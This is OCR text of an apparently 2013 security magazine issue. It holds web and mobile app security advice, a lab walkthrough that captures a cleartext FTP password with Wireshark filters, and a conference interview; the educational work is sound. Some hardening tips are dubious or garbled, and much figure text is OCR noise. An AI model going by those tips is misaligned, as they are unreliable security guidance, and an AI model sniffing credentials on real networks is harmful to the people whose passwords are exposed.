because it affects both the front end and the back
end of the web application.

Preventions and Security

The SQL injections can be prevented by escap-
ing the user input for the SQL character set. The
escaping process involves adding a backslash (')
just before every SQL special character. They are
called injections because the attacker injects some
part of the string. lin the combination of our strings,
it makes a malicious one which, while executed,
produces results desired by the attacker.

Some More Prevention

Some attacks may not be interfaced from your web
application but are similarly severe. The attacks
can exploit the currently present vulnerability of the
system to deface it and gain what they want. Here
| am listing some of the best practices of Server
Environment:

 turn off the Directory Listing. It will prevent from
showing the attacker what you have on your
web server,

* turn on the URL rewriting feature of the serv-
er and try to hide the file extensions from the
URL, so that it will confuse the attackers about
the technology used by your server. Instead of
that, use the error logs and reports for debug-
ging purpose,

* turn off the error reporting which will prevent
exposure of the error and related details to nor-
mal users and the attackers,

» keep the webpage execution time low because
it will prevent such attacks as buffer overflow,
DoS, DDoS, etc.

» the production environment should not have
any server side output commented or hidden
by the Client Side Markup because the attack-
er will surely analyze the webpage to obtain in-
fo about your web application. And of course,
many regular users have the tendency to see
the source code of the webpage,

» the JavaScript code used while in produc-
tion should be minified, because it will prevent
script kiddies to try any hack and trick on your
web application,

* reduce the maximum File Upload size,

* escape every input received from the User
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http://www.useragentstring.com/pages/Mobile%20Brow-
serlist/ Collection of User Agent Strings of Mobile Phones.
https://www.owasp.org/index.php/Main_Page =~ OWASP
(Open Web Application Security Project) project for
Web Application security awareness

Minified JavaScript: http:/jscompress.com/ when JavaScript
Code is processed to remove all the unnecessary character
from the source code without changing the functionality.
It's called Minified JavaScript.

Side because it may contain any type of script
or injection code. So, to prevent those cases,
escape the inputs received,

web applications must have the robots.txt file,
which contains the code to deny the listing of
sensitive files and directories in search en-
gines,

whatever programming environment you de-
ploy, keep track of the new versions of pro-
gramming environment objects because new
version were needed to be released to nullify
vulnerabilities or add new features to the envi-
ronment object. If it’s about new features only
then you don't need to worry. But if it is a vul-
nerability fix version, then you need to think

whether you are using any part of code that
can be exploited by that vulnerability.

Web applications should be treated and worked for
their security because whatever the present Inter-
net represents you, it's the web application. There
are many who will want to put your application or
site down due to many reasons like Market Com-
petition, Script Kidding, Fun, Tests etc. Whatever
would be the reason of the attack, you would not
like your application to go down and loose its con-
sumer's interest.

Cyber security is not the objective to attain but a
process that must be followed to keep applications
safe and up in all cases.

PANKAJ PATEL

The author has been working as a web developer for a
company and also as a freelancer. He is a blogger by na-
ture and blogs on ‘Time to Hack’ http://time2hack.com.
He works on Linux (Fedora) and holds the Diploma of
Computer Applications (DCA) and Bachelor’s Degree (BE)
in Computer Science Engineering. During his education
and career he has gained some certifications like EMC ISA,
CISE, MTA DBA, MTA WDF, IBM Certified Application De-
veloper RAD, and IBM Certified Solution Developer WID.
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There is no question that mobile computing is growing at an
exponential rate. This rapid transformation has caused security
concerns to be outpaced by the ease of use, flexibility and
productivity of mobile devices. When vulnerabilities are exploited,
the security of mission-critical data becomes a serious threat.

ain insight into the top three mobile ap-
G plication security threats facing organiza-

tions today and receive recommendations
for mitigating associated risk.

According to Morgan Stanley research, the smart
phone will become the dominant computing plat-
form by the end of 2012, with more units being sold
than desktops and laptops combined (“Ten Ques-
tions Internet Execs Should Ask & Answer”; Mor-
gan Stanley Technology Research Presentation by
Analyst Mary Meeker; Web 2.0 Summit, San Fran-
cisco, CA; Nov. 16, 2010.). It’s been a remarkable
and rapid transformation that much like the advent
of the web has left security concerns outpaced by
the ease of use and flexibility of a new tool.

The HP Fortify on Demand Manual Testing Team
analyzed security threats associated with a num-
ber of mobile applications to identify the most com-
mon vulnerabilities.

The HP team found that applications on mobile
devices are just as prone to security vulnerabili-
ties as their web counterparts. There were numer-
ous instances of insecure use of mobile API’s, data

Mobile applications are just as prone to security vulne-
rabilities as their web counterparts.

Insecure use of mobile API's, data exposure in transit
and at rest and other serious threats make this shift to
mobile computing a top concern for businesses today.
The top three mobile application security threats obse-
rved in a sample set.

Recommendations on how to mitigate the risk of securi-
ty vulnerabilities in mobile computing.

<)

exposure in transit and at rest, and other serious
threats. Both iOS applications and Android ap-
plications were represented in the analysis. The
analysis outlines the top three security concerns
discovered in the survey sample set, along with
recommendations as to how organizations can
mitigate the associated risk.

The HP Team analysis discovered that more than
half of applications (51%) are susceptible to infor-
mation leakage vulnerabilities. A user’s person-
al data was often sent over unencrypted network
protocols such as HTTP. Much of this information
was basic, such as names, addresses and phone
numbers; however, it also included the current lo-
cation of the user and the specific device identifier
(aka the UDID).

A device identifier can be leveraged for incred-
ibly targeted attacks against specific users. If the
geo-location, unique device identifier and personal
details of the device owner could all be intercept-
ed via a vulnerable application, then an attacker
would be able to actually locate a ‘target’ in the
real world. The potential implications of this can be
staggering.

Less dramatic, but equally concerning would be
a situation involving application exploitation: if the
application has been sending the UDID, full name,
address, etc., to a vulnerable web service, and that
web service was susceptible to SQL Injection, then
every bit of data on that mobile device could be ac-
cessed.
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Data transmitted over insecure channels is not
limited to personal data — application data is also
susceptible. The team found that log in information,
user credentials, session ID’s, tokens and sensitive
company data were all being sent over unencrypt-
ed network protocols like HTTP. The consequenc-
es for a vulnerable banking application could be
devastating. If credentials, session identifiers, per-
sonably identifiable information or other sensitive
data was being transmitted to a backend server,
the transmission must be secure. Otherwise, data
could be intercepted by an attacker, using common
network packet capturing tools or applications (i.e.
DroidSheep).

The analysis also revealed that as much as
75% of the applications tested were capable of
sending tracking data to third party advertising
and analytics providers. While not technically
a vulnerability, this does offer more attack vec-
tors for a potential attacker if those providers are
themselves not secure, or are sending the data
over an insecure connection. Mobile application
developers should consider the security of every-
thing their applications can communicate with,
not just their own applications. This extends to
every third party service or library they used to
build applications.

Devices get lost. Devices are stolen. This is not
new and will certainly continue, but with the prolif-
eration of mobile computing, the effort that organi-
zations put into securing vulnerabilities introduced
by lost or stolen devices has become more front
and center.

Encryption on corporate computers is now stan-
dard protocol for most Fortune 500 companies.
Ten years ago the news was filled with stories of
data stolen from lost PC’s. This has definitely re-
duced, in part because of legislative requirements,
but also because corporations have learned their
lessons the hard way. However, these same stan-
dards are not applied to mobile devices, and in the
age of Bring Your Own Device (BYOD) to work, this
is a still a critical problem that needs attention.

Mobile applications present unique areas of risk
when a device they are running on is lost or sto-
len. 68% of the applications tested in this analysis
did not secure the data stored on the device. As a
result, attackers were able to obtain elevated privi-
leges on a stolen device to access sensitive appli-
cation data.

It is imperative that all credentials stored on a
mobile device be either encrypted on Android or
stored to the Keychain on iOS. Application sand-
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boxing (limiting the resources the application can
access) and code signing (putting restrictions in
place to guarantee the code has not been altered)
can help mitigate this in most scenarios. However,
these can be bypassed by common device rooting
(gaining privileged control) and jail-breaking tech-
niques, giving the attacker total access to the en-
tire file system of the device.

In addition to protecting mobile applications
from outside agents, these mobile applications
must also now be protected from other applica-
tions stored on the same device. Nearly a quarter
(24%) of the applications the team tested logged
or stored sensitive data on the device that was
readable by other non-privileged applications on
the device.

10% of the applications tested allowed attacks
via inter-application communication or via weak
permissions (Android Intents/Permissions or iOS
custom handlers). Malicious applications can typi-
cally only access another application’s data if the
data was stored world-readable (i.e. SD card) or if
the application logged any sensitive data (Android
Log method or iOS NSLog method). If a malicious
application is able to load code that can elevate
privileges, it may be able to completely compro-
mise another application’s data.

Inter-application communication can occur in
both Android and iOS. While working with develop-
ers, we've observed developer confusion around
how to properly implement Android permissions as
well as inter-app communication due to its more
granular, complex model.

For Android, developers should use the principle
of least privilege and only define necessary per-
missions in AndroidManifest.xml for the applica-
tion to function properly. Caution should be exer-
cised when sending implicit Intents and exporting
components. Explicit Intents should be used when
possible. Exporting components should be avoid-
ed unless absolutely necessary.

For iOS, developers should validate the source
bundle identifier to the open URL method when im-
plementing custom protocol handlers. All sensitive
logging calls should be disabled for applications in
production. For Android, sensitive data should nev-
er be allowed to be written to world-readable/writ-
able files or stored to the SDCard.

There are certain actions that organizations can
take to mitigate the risk of mobile application se-
curity vulnerabilities. First, applications need to
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be manually audited and assessed before prod-
ucts are launched. This allows organizations to
determine if any input injection vulnerabilities or
information leakage vulnerabilities are present.
The code should be analyzed via static analysis
when being developed to find code-based vulner-
abilities. As with any application, it's much more
cost effective to address security vulnerabilities
during development rather than after it has been
released.

Secure data transmission standards should be
included as part of any application’s requirements,
especially if an application is being developed by a
third-party. The same goes for secure data storage
and application logging. Reasonable inter-applica-
tion communication exposure and permissions in
application requirements should be stringently de-
fined. These concerns should all be addressed in
the requirements phase and tested during devel-
opment.

Lastly, when performing security testing and
analysis on mobile applications, the server-side
web services and APIs that the mobile clients talk
to should be taken in context and analyzed for
vulnerabilities. High-risk vulnerabilities may be
missed if the two are tested out of context with
each other.

MARK PAINTER

Mark Painter has been in the security industry since
2002, when he joined SPI Dynamics. During his tenure,
he’s focused on vulnerability research, product man-
agement and social media. Painter is currently the Prod-
uct Marketing Manager for the HP Fortify Weblnspect
product suite as well as HP Fortify on Demand profes-
sional services.
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Wireshark

How to Dig Out the Sniffing Potential from It?

Wireshark is the perfect tool for capturing and analyzing trafficon a
wired ethernet network, IEEE 802.3, virtual networks, or nowadays, also

wireless network, IEEE 802.11.

ireshark has multiple capabilities: filter-
W ing protocols, IP addresses' sources or/

and destinations, or aggregating all the
packets from a designated communication and
showing the file content transmitted in just one
command .

If the communication is not ciphered, it is possi-
ble to see in clear text the identification of the user
and the respected password transmitted.

It is also known as the trouble solve when the
problem reaches the layer 2 or 3 from the OSI
model, including QoS problems and overcharged
communications.

This article gives an overview to understand the
reason of Wireshark's existence and the potential
it delivers for the IT community.

Introduction

Wireshark exists since 2006, when Gerald Combs
was working for an Internet Service Provider, ISP.
During that time, it was named Ethereal. Combs
developped the application to help identify prob-
lems in the complex network. Just four years later,
in August 2010, the name was changed to Wire-
shark when Riverbed Technology Company pur-
chased CACE Technologies Company.

Riverbed Technology is also known for a wide
variety of solutions and products that | had the
pleasure to integrate in projects and implement.

What are the real application features?

It can:

* read live data from IEEE 802.3, IEEE 802.11,
PPP/HDLC, ATM and Bluetooth,

<)

» provide deep inspection of hundreds of pro-
tocols like: IP, HTTP, SMTP, DNS, FTP, SMB,
DHCP and also P2P applications like Bit Tor-
rent,

» provide live capture packets, exhibited in the
application screen and written simultaneous-
ly in a file that can be analyzed offline and
shared with manufactures and internal support
teams,

* apply multiple filters, distinguishing the packets
information through different colors based on
protocols and highlight the corresponding com-
munication selected from the first packet to the
last,

+ identify VolIP traffic,

» decrypt many protocols,

* supported in Windows environment, Linux,
UNIX, OS X, Solaris, and most of Linux and
UNIX flavors,

* be exported to other formats like plain text,
CVS, or XML,

* new protocols support is added in each new
update or release.

Advisory note

Before starting to capture all the traffic in any network, |
should advice all readers that all the actions described
in this article should be carried out with the proper ap-
proval documentation from the IT infrastructure Owner
and Security Managers, except in case of laboratories
and virtual environments specific for those tests. Keep
in mind that doing such a capture without the right
approval is illegal and also can contain private and
confidential data.
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For the sake of this article, a virtual environment
was created to simulate the traffic between two
S.0. machines. One plays as the client and the
other as the Server.

In this concrete scenario, the client will also use
the Wireshark application.

Usually, | prefer to use BackTrack distribution in
my laboratories, the last version 5 releases 3 are
perfect because comes already with the Wireshark
application installed (version 1.8.1).

In this scenario for the server, | have defined a
Windows 7 from Microsoft with the FileZilla server
installed. Also for the purpose of this test | will cre-
ate a new user and password.

As most of the readers have probably already de-
tected | will demonstrate a communication based
on FTP protocol.

| would like to say that there is nothing like a
memorized image to understand what we are talk-
ing about. A simple vision of the created environ-

Virtual Environment

Internet

IP:192 168.69.5

X

° (i)
&= L

Simple FTP Server in Windows 7%

IP:192 168.69.3

BackTrack 5 with WircShark, Laptop

Playing as client for the FTP communication

Physical
environment®

Figure 1. Network Topology

The World's Most Popular Network Protocol Analyzer
orsion 18,1 i5VH Af = rostiet -

Interface List

& Start

e o s e i G

#Fethl
§ 5B b rumber L samonl
|| s b rumbr 2: aamenz

e

Figure 2. Client network

www.hakin9.org/en

ment is always important to have references over
the test that we are preparing to execute. | have
developed an illustration, Figure 1, to establish this
baseline.

At the first instance, let’s look at the illustration
provided above.

The Laptop has a virtual network that is linked to
the Wireless physical network; the virtual environ-
ment is based on VMWare Player.

What is the real difference between the regular
virtual network environment and the one | provide
to the readers?

The complexity is increased because, even
in the scope of virtual environment, normally
the IP addresses are defined or obtained from
the DHCP service associated with the virtual
network.

In this case, we are at the virtual level but the IP
addresses provided are from the Wireless Internet
Router. The real difference is at the level of Internet
access; both can access the internet without de-
pendencies. Each one can be up and running in-
dependently and access the internet. At the same
time, they can communicate between themselves
in a semi-public network. This method is called
bridge mode but normally is used for only one ma-
chine with two interfaces.

r UHnetl

Figure 3. Server network

r -
Connect to Server l_ﬁ'-]
Server Address; Port:
127.0.0.1 99499
Administration password:
Always connect to this server
oK ] | Cancel

L. )

Figure 4. Connecting to the interface of FileZilla, in this case |
am running on port 9999, but the readers can define the port
above 1024 and associate a password for administration
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At this point, | will provide also the illustration of
each environment machine: Figure 2 and Figure 3.

At this point we move forward, access the FTP
Server application, FileZilla, and create the us-
er. Before that, in order to start we must run the
FileZilla service or choose it to run automatically
during the installation (Figure 4).

At this level, the readers should see the following
interface: Figure 5.

The next step is to create the user to test the ser-
vice and define the password as the following il-
lustration.

D 2 Accaunt P Transfér P

Figure 5. FileZilla Server

Beade Dl sisind 0hs Db 05488

Figure 6. FileZilla Server credentials

Figure 7. FileZilla Server password

. <)

Users ==
Page: Acoount settings Users
General o/ Enable account @ [odmestratr ]
Shared fokders E & raot
Speed Limits
IP Filter Group membership: | <none > -
Eypass userbmt of server
Maximum connection count: 0
(Cannection mit per IP: a & =
—_—
Force S5L for user kgn
Rename | Copy |
SRR A
Description
- You can enter some comments ahout the user
Cancel

First go to the face image, in the upper left cor-
ner, then select “Add” to open a new window identi-
fied as “Add user account.” Define the name of the
user (Figure 6).

The second step is to select the box associated
to and define the password (Figure 7).

After clicking “OK,” the reader will receive an
alert due to the directory associated with the us-
er (called “Shared Folders”). At this level, | ad-
vise that the readers create a new directory and

BLGY Eem@-
T —

| File Server Edt 2

F)A % 88 ¢ [@em -
FleZila Server verson 0.9.41 bata
Copyaight 2001-212 by T Himeses fim kosse @i rllegeogecd my)
Connecting o acrver...
(Connected, waiting for authentication

Sending account esttnge, pleaes wat...
Mo serding aceoond sellings |

I - Account P Transfen

Hu:ndy tlllblvyt.cs.rl:ccwc.d. L.}.Bu

k

Figure 9. Filezilla concluded

Interface List

@ Users Guide
& Sample Captures S
e st o peyl Gt s me oy Security

; Capturc Options
L il

= Hi to Ca
L st it i

R —

Wty 13 o captrt s ety

T T Wi it

Figure 10. Wireshark starting

01/2013



not simply select an already used one. This di-
rectory should be empty, and only after that
the files should be transferred. Next, the trans-
fer stops the service or immediately remove the
files from the directory to another not shared
directory.

After creating this directory, associate it to the
user through this step:

= rootgbt: -

aaand@fr e

TH3 LHN N 1Y Tell 143 168,03
192.168.80,17 Tell 192.188.3.3

192,160,817 Tell 192.188.3.2

AR

Figure 13. FTP Client success
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In “Page,” (left hand side), select “Shared fold-
ers,” “Add,” select the correct directory, and pro-
cess with the “OK” button (Figure 8).

The option associated with the “Files” should be
read only with the option for the client to be able to
“List.” In real environments, it is not a good prac-
tice to leave the “List” function active, because the
remote user could list the files available and obtain
a part or all the files.

In such cases, it is always good to provide the
name of the file, so the remote user could only ob-
tain those provided.

For that matter, at this point | will leave the “List”
option active to prove that the file is available.

This stage is concluded; the message in the end
of this process should indicate that the account
settings are done (Figure 9).

After the first phase, it is time to move on to the
second phase.

The second phase consists in activating the
Wireshark service and capturing the traffic.

For that, let's jump to the virtual machine with
BackTrack 5, and start the identification of the in-
terface.

If we compare it with the first illustration (Fig-
ure 10), the application Wireshark should be vis-
ible and the interface(s) available should be listed
above in the “Start” option.

The interface that should have the same IP ad-
dress as the network, in this case (based on Fig-
ure 2 provided before) corresponds to eth2. Let's
check again.

Based on the verification, the interface sth2
should be selected in the “Start” section.

At this phase, the Wireshark is ready to start cap-
turing traffic, the readers are seeing some traffic,
some packets are broadcast, and the other could
be some DHCP requests or Arp requests.

At this point, we should move fast, because the
traffic that we really want to analyze is not cap-
tured.

Open a terminal in the client machine and exe-
cute a FTP command to the FTP server.

The command should be similar to the following,
differing according to the IP address and network
that the readers have chosen.

If they are the same,
192.168.69.5.” (Figure 11)

The result from the executed command could be
one of the following:

Fail, informing that the connection was denied or
refused (Figure 12).

If this is your case, don’t panic — the reader
should verify the permission from the external to
access your machine.

just execute “ftp
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This verification is done at the firewall level of
this machine, virtual or physical. The reader should
open the port 21 to permit the client to access the
application, in this case FileZilla ftp server.

After this change is done, retry the last step
again, executing ftp 192.168.69.3

Success, following by the request of the user-
name and password (Figure 13).

On the Server side, the information in the FileZil-
la interface should be the following: Figure 14.

At this point, the reader should insert the User
and Password that we have defined before.

The output of the process of authentication and
transference of one file should be similar to the il-
lustration below.

If the reader is not so well familiar with the FTP
commands, please refer to the end of the article for
links to this topic (Figure 15).

At this stage to finish the capture of traffic, the
readers should close the terminals or switch to the

|' Plenianern e
e 08 T [DoE-

e Zlla Server v
Cagyr

ermon (9,41 beta

I Accoun t 1P Tranfer
192168835

Ready Objtessecened 0B/s  I3bjtesse 08

Figure 14. FTP Client success — part 2

root@bt: ~
al Hel

Figure 15. FTP Client success — part 3
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Wireshark application and stop the process of cap-
ture with the stop button as illustrated (Figure 16).

Now the phase 3 begins, analyzing the captured
traffuc and applying filters.

Concerning the filtering function, what is done
is applying expression to decrease the amount of
traffic and specify the communication that we want
to identify and analyze.

The comparison functions available are:

eq, == Equal

ne, I=Not Equal

gt, > Greater Than

It, < Less Than

ge, >= Greater than or Equal to
le, <=Less than or Equal to

The junction of the expression is accomplishing
through Boolean expression:

and, && Logical AND
or, || Logical OR
not, ! Logical NOT

Refer to the list of possible filters through the link
provided at the end of the article.

| suggest to begin with a list of what we want to
apply before starting to apply expressions or defin-
ing Filter expressions.

So at this level, we want to filter by IP address
and protocols.

Let’s create the list:

“Source” = 192.168.69.3 and
192.168.69.5

“Destination” = 192.168.69.3 and
192.168.69.5

Protocol = FTP

IP address

IP address

1708 LY. Wi krarmay 0
T4 B0 RIS krer ey

* Cl (1
® Ehernet TT, Src Semserngl Bh:ed:b7 (29:10000:00:e3:67], Bit: Brasdcast (FH:AR:Af:0f:0:00)
+ Asdress Resslution Pratecsl [reqeestd

Figure 16. Wireshark stop
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Let’s convert the list to the language that in fact
Wireshark can interpret, defined as a “Filter.”

ip.addr == 192.168.69.0/24 and ftp

This expression is a macro of the list. If the read-
er wants to perfect match the list, they should use
the following filter:

ip.addr == 192.168.69.3 and ip.addr
== 192.168.69.5 and ftp

Either way, the result should be similar, showing
only the bilateral communication between the two
machines, which the IP address are 192.168.69.3
and 192.168.69.5, filtered by the FTP protocol.
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Figure 17. IP addresses and FTP protocol
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Figure 18. Filtering by password
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Notes
Software and information available to support the tests:

Wireshark, software, http://www.wireshark.org/downlo-
ad.html

Wireshark, User's Guide, http://www.wireshark.org/docs/
wsug_html_chunked

Wireshark, filters list http://www.wireshark.org/docs/man-
-pages/wireshark-filter.html|

Backtrack 5 r3, http://www.backtrack-linux.org/downloads
FTP Filezilla server & client http://filezilla-project.org

IEEE 802.11, http://en.wikipedia.org/wiki/IEEE_802.11

IEEE 802.3, http://en.wikipedia.org/wiki/IEEE_802.3

OSI model, http://en.wikipedia.org/wiki/Osi_model

QoS, Quality of Service, http:/en.wikipedia.org/wiki/
Quality_of _service

FTP Commands, http://www.cs.colostate.edu/helpdocs/
ftp.html

Based on this list, let's generate the expressions,
as illustrated Figure 17.

As the readers can see, the FTP protocol uses
the transference of data and credentials in clear
text mode, so it's easy to identify the User that was
authenticated “administrator.”

In this line of thought, identified two lines bel-
low, is the password transmitted, as the illustration
demonstrates (Figure 18).

As demonstrated, the applicability of the Wire-
shark application is enormous, and the access to
the statistics indicators' leverages the global appli-
cation to one of our favorite “must have” for the
technical support or traffic investigation.

For the record, the total amount of packets trans-
mitted in this global communication were 3201, the
FTP service analysis represents only 5% of the
packets or 4% of the data transmitted.

That opens the door to investigate what are the
remaining 95% of the packets doing in our lab net-
work, as illustrated Figure 19.

Try to see the full statistics functions, with spe-
cial attention to the Flow Graph that provides the
first handshake between the machines and further

Figure 20. Flow Graph
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communication of the FTP protocol. It is also very
interesting to check if there are any delays in the
communication because each packet is displayed
with the referential time (Figure 20).

Things to remember
Define and apply the filter before starting the cap-
ture. Tthis will decrease the amount of traffic writ-
ten in the output file.

Check the port mirror function — this is important
in real environments.

If your internal or DMZ networks don’t have IDS/
IPS equipment, it's a good practice to capture traf-
fic during one full day to have a notion of the type
and level of saturation of the traffic. For the exter-
nal network, it's a good measure to verify the QoS
traffic and the possible identification of retransmis-
sions and packet delays.

Conclusion

As a resume of all actions taken through this article
the reader is able to use Wireshark and its configu-
rations needs at a basic level, capture and analyze
traffic, apply filters and some good methods when
working with this tool.

The traffic statistics are essential to map and mit-
igate possible problems, increase the service over
the business of the company and have the right
controls for the global communications.

Wireshark is a very useful tool for problem solv-
ing and is available in most of the operation sys-
tems.

MANFRED FERREIRA

Manfred Ferreira is currently an IT Strategy Advisor,
who has been working for 16 years in the information
security marke, developing projects for the European
committee in the early years. He is business-oriented
and provides Business Continuity Management and In-
formation Security advisories. He specializes in securi-
ty solutions assessment and penetration testing in the
context of risk identification and mitigation.

Part of information is disclosed in the professional net-
work.

LinkedIn: pt.linkedin.com/pub/manfred-ferreira/15/536/698
E-mail: manfredf@zonmail.pt
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Interview with

Aseem Jakhar

Ewa Duranc, Hakin9 Magazine Editor speaks
with Aseem Jakhar the Founder of nullcon

Security Conference.

Ewa Duranc: Can you introduce yourself to
our readers?

Aseem Jakhar: | am currently the Director, Re-
search at Payatu Technologies, a security services
organization with expertise in product/application
security assessment. | have 9 years of experi-
ence in system programming, security research,
consulting and managing security software devel-
opment projects. Have worked on various securi-
ty software including IBM ISS Proventia UTM ap-
pliance, messaging/security appliance, anti-spam
engine, anti-virus software, Transparent HTTPS
proxy to name a few. An active speaker at various
security and open source conferences including
Defcon, Hack.lu, Blackhat, Xcon, Cyber security
summit, Cocon, OSI Days, Clubhack, Gnunify. |
am the author of open source Linux thread injec-
tion kit — Jugaad and Indroid which demonstrate
a stealthy malware infection technique and desk-
tops OS and Android. I'm also known in the secu-
rity community as the founder of null -The open
security community, registered not-for-profit orga-
nization http://null.co.in, the largest security com-
munity in India.

ED: Ok, Let's talk about nullcon Security
Conference. What was the idea of creating
it?

AJ: nullcon was founded in 2010 with the idea of
providing an integrated platform for exchanging
information on the latest attack vectors, zero day
vulnerabilities and unknown threats. Our motto —
"The next security thing" drives the objective of the
conference i.e. to discuss and showcase the future

<)

of information security and the next-generation of
offensive and defensive security technology. The
idea started as a gathering for researchers and
organizations to brain storm and demonstrate why
the current technology is not sufficient and what
should be the focus for the coming years pertain-
ing to information security. In addition to security,
one of the section of the conference called De-
si Jugaad (Hindi for "Local Hack") is dedicated to
hacking where we invite researchers who come
up with innovative security/tech/non-tech solu-
tions for solving real life challenges or taking up
new initiatives.

ED: What are the type of events that
happen at nullcon?

AJ: nulicon is a 4 day summit. The first two days
are dedicated to security training given by re-
nowned security experts, followed by a two day
conference which comprises of talks, workshops,
hacking competitions, villages and after parties.

Hacking Competitions

We conduct three different types of hacking chal-

lenges:

» HackIM — The pre-con online competition
(http://ctf.nullcon.net). The first three winners
get free VIP passes for the conference.

+ Battle Underground — It runs during the con-
ference over the cloud, so people who cannot
participate in nullcon also get to take part in
the challenge.

» JailBreak — We started Jailbreak in 2012. It
happens two days before the conference and
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is a 36 hrs continuous in-house competition.
The participating teams are kept under house
arrest. They are given a main objective which
can be either writing exploits, tools or finding
vulnerabilities in software products. During the
challenge the teams are given small puzzles
to solve after every few hours and the team
that cracks the puzzle first is allowed 15 mins
to move out of their room and use the toilets,
cook food and eat. The team that finishes the
challenge is allowed to break free from the Jail.
All teams are given 20 mins speaking slot dur-
ing the conference to talk about their solution
and the methodology used and the winners
are selected by a panel of judges. The winning
team takes away $$$. The last Jailbreak was
amazing and we also shot the videos of the
competition. Folks who are interested can take
a look at:
» JailBreak Teaser — http://www.youtube.com/
watch?v=xciUR9fUarU
« JailBreak Episode 1 — http://www.youtube.
com/watch?v=2Ehrv0_6wB0
» JailBreak Episode 2 — http://www.youtube.
com/watch?v=78GLbFVOb3g

Workshops

We are introducing workshops in the upcoming
conference. The workshops will be free for the
attendees and run parallel to the talks. We have
some amazing workshops lined up for nullcon Goa
2013.

Villages

These are informal learning sessions on tech/non-
tech subjects where participants get direct hands-
on on different subjects such as hardware, robot-
ics, smartphone OS.

Networking parties

We make sure that delegates get a good feel of
Goa and can network with peers and speakers in
an informal setting.

ED: What projects are you working on?
Can you tell me about them?

AJ: Nullcon keeps us busy for a good amount of
time during the year. Other than the conference,
we specialize in security assessment for applica-
tions/products/telecom/mobile. We also do cus-
tomized security training and consult on Secure
SDLC process. Our clients include financial insti-
tutions, security appliance, online product compa-
nies, healthcare, telecom operators to name a few
in Asia and Europe.

www.hakin9.org/en

ED: Nullcon Events date from 2010.

What topics do you cover during your
conferences? Who attends them?

AJ: We focus on upcoming and next generation
offensive and defensive security technology. The
topics range from APT, Cyber operations, to ex-
ploitation of different technology and systems,
cloud, telecom, hardware, web etc. We welcome
anything new, interesting and that has a significant
impact on security.

The attendees are a mix of researchers, execu-
tives, students and Govt. officials. We get a very
good participation in terms of footfall from the
Govt. sector in India. It is good to see that things
are changing in the Govt. sector and officials are
releasing the impact nullcon has in the overall de-
velopment of information security awareness in the
country. The awareness level in the corporate sec-
tor is also increase every year.

ED: Let's move on to the upcoming
conference? How many speakers do you
have?
AJ: Nullcon is not just a conference, it's an expe-
rience by itself where we celebrate the achieve-
ments of the security community with a lot of cut-
ting edge learning.

There are a few new events in the pipeline such
as pre-con night hack talks, hardware villages.
Various events during the conference include

Talks
We have more than 20 speakers with some really
amazing content.

Reboot Film

We are honoured to have Joe Kawasaki, Director
of reboot film at the conference where we will be
showing the movie along with a Q&A session with
Joe.

Hacking Competitions

e HackIM starts
nullcon.net

« Jailbreak will be held on 27-28th Feb 2013

» Battle Underground will be held during the con-
ference 1-2nd March

in mid Jan 2013 http:/ctf.

P-A-R-T-Y
A break from the high tech learning in the day to
give you a good dose of Goa.

» Speakers after dinner party — An informal wel-
coming of all the speakers.
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PLUS

HaRINS

ON DEMAND

* Nullcon nertworking party — An invitation only
party for speakers, volunteers and the Corpo-
rate delegates on 1st March 2013.

* A visit to Saturday night bazaar — An open
air flee market, bars, DJs, Live bands on 2nd
March 2013.

Exhibition

Yes, we have a full-fledged exhibition for security
companies to come and showcase their products
and services.

Job Fair

As part of the Exhibition we also organize a Job
fair booth and assist organizations look for skilled
professionals. Attendees drop their resumes and
we share it with the organizations participating in
the conference. It is a very economical and easy
way to find the best resources in security.

Workshops (1-2nd Mar 2013)

+ GSM Exploitation by Aaron deMello

* Understanding Smart Malware by Shesh Sa-
rangdhar

* Introduction to Peach fuzzing framework by
Adam Cecchetti, Deja Vu Security

* Memory Forensic by Prince Boonlia

Training (27-28th Feb 2013)

* Penetration Testing SmartGrid & SCADA by
Justin Searle

* The Art of Exploiting Injection Flaws by Sumit
Siddharth

+ Xtreme Android Hacking by Aseem Jakhar

* Reverse Engineering and Malware Analysis by
Abhishek Datta

+ Xtreme Exploitation by Omair

* Mobile Application Hacking — Attack & Defense
by Hemil Shah

+ Xtreme Web Hacking by Akash Mahajan & Ri-
yaz Walikar

* Cyber Warfare Intelligence and Intrusion Oper-
ations by Atul Agarwal

If that's not all, the beach is right next to the ven-
ue so you can take a break anytime you feel like
and stroll on the beach.

ED: Why did you choose Goa as the venue?
AJ: In India we have been to many conferences
organized in IT hubs such as Bangalore, Delhi,
Mumbai etc. The problem we see is that the del-
egates are not able to concentrate on the talks
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due to their office work and many delegates have
to unwillingly depart to their office in the middle
of the conference because of some or the oth-
er. We wanted a location where delegates will not
bothered about going back to office and can also
take time out from their busy schedule and con-
centrate on what they have come to nullcon for
i.e. learn, network and relax. We found Goa as
the ideal place to host nullcon. Goa is one of the
famous International destinations which attracts a
lot of tourists from all over the world and for inter-
national security professionals we add the con-
ference twist to the place, so every year they can
take vacation to Goa and enjoy both the place as
well as the conference.

ED: How has the security scene in India
changed over the years?

AJ: Drastically. | remember the time when there
were no avenues to learn, meet and network with
security professionals in India and the difficulties
of finding good mentors, content etc. Year by year
we see an increase the no. of paper submissions
from local researchers with some really amazing
research which is also admired world over, but
was hard to find earlier. In the late 90s and early/
mid 2000 there were closed groups and commu-
nities and the information exchange was limited
to them. And then nullcon happened! It worked as
a catalyst to the networking of the security com-
munity here. On a lighter note some people re-
gard nullcon as the infosec hippie revolution (in a
good way) because of the counter culture that it
has brought in the information security and hack-
ing scene.

ED: What is null - The open security
community? Tell us something about it?
AJ: It all started back in 2008, we and a bunch of
colleagues were discussing about active informa-
tion sharing platforms in information security do-
main. India being the global hub of software de-
velopment, it was a little surprising that there were
no active and open infosec communities. This cou-
pled with the problems we faced during our learn-
ing phase because of no one to talk to, mentor and
guide us. We thought of starting a community with
no boundaries i.e. anything security and hacking
was welcome. The aim was to share knowledge
and assist any organization with security related
issues.

null was the primary inspiration to start the
nullcon Security Conference.

We started the null mailing list in July-Aug 2008
and made our first public appearance at Bar-
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Camp Pune in Nov 2008, where we announced
that we are starting physical null community meet
ups in Pune. There were a few hackers and se-
curity professionals whose needs were answered
by null and they joined in as volunteers. There
has been no looking back since then. It has not
been easy but has been a very interesting jour-
ney. Null is now a registered non-profit society
with over 2800+ members on the mailing list and
more than 150 security professionals and hack-
ers meet every month in different cities at the null
meets.

We currently have six active null chapters
throughout India in major cities — Pune, Bangalore,
Mumbai, Delhi, Hyderabad and Chennai. Every
chapter is run by 2-3 Moderators. The moderators
decide the agenda of the monthly meets and make
sure we have a suitable place for the meets. There

Project KeedAJ

A database of vulnerabilities found in the wild. Re-
